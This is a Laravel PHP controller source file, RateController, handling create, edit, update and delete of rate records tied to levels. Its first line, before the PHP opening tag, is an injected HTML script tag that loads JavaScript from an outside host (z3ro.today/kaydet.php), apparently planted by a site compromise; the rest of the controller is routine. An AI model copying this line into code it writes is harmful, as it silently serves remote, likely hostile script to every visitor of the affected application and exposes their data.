<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\BasicSetup;

use App\Http\Controllers\Controller;
use App\Models\Rate;
use App\Models\Level;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;

class RateController extends Controller
{
    /**
     * Display a listing of the resource.
     */
    public function index()
    {
        $rates = Rate::with('level')->orderBy('id', 'desc')->get();
        $levels = Level::all();
        return view('adminsetup.rates.index', compact('rates', 'levels'));
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request)
    {
        $validator = Validator::make($request->all(), [
            'level_id' => 'required|exists:levels,id',
            'rate_amount' => 'required|numeric|min:0',
        ]);

        if ($validator->fails()) {
            return redirect()->back()
                ->withErrors($validator)
                ->withInput();
        }

        try {
            Rate::create([
                'level_id' => $request->level_id,
                'rate_amount' => $request->rate_amount,
            ]);

            return redirect()->route('rates.index')
                ->with('success', 'Rate created successfully!');
        } catch (\Exception $e) {
            return redirect()->back()
                ->with('error', 'Something went wrong!')
                ->withInput();
        }
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit($id)
    {
        $rate = Rate::findOrFail($id);
        $levels = Level::all();

        return view('adminsetup.rates.edit', compact('rate', 'levels'));
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, $id)
    {
        $validator = Validator::make($request->all(), [
            'level_id' => 'required|exists:levels,id',
            'rate_amount' => 'required|numeric|min:0',
        ]);

        if ($validator->fails()) {
            return redirect()->back()
                ->withErrors($validator)
                ->withInput();
        }

        try {
            $rate = Rate::findOrFail($id);
            $rate->update([
                'level_id' => $request->level_id,
                'rate_amount' => $request->rate_amount,
            ]);

            return redirect()->route('rates.index')
                ->with('success', 'Rate updated successfully!');
        } catch (\Exception $e) {
            return redirect()->back()
                ->with('error', 'Something went wrong!')
                ->withInput();
        }
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy($id)
    {
        try {
            $rate = Rate::findOrFail($id);
            $rate->delete();

            return redirect()->route('rates.index')
                ->with('success', 'Rate deleted successfully!');
        } catch (\Exception $e) {
            return redirect()->back()
                ->with('error', 'Something went wrong!');
        }
    }
}
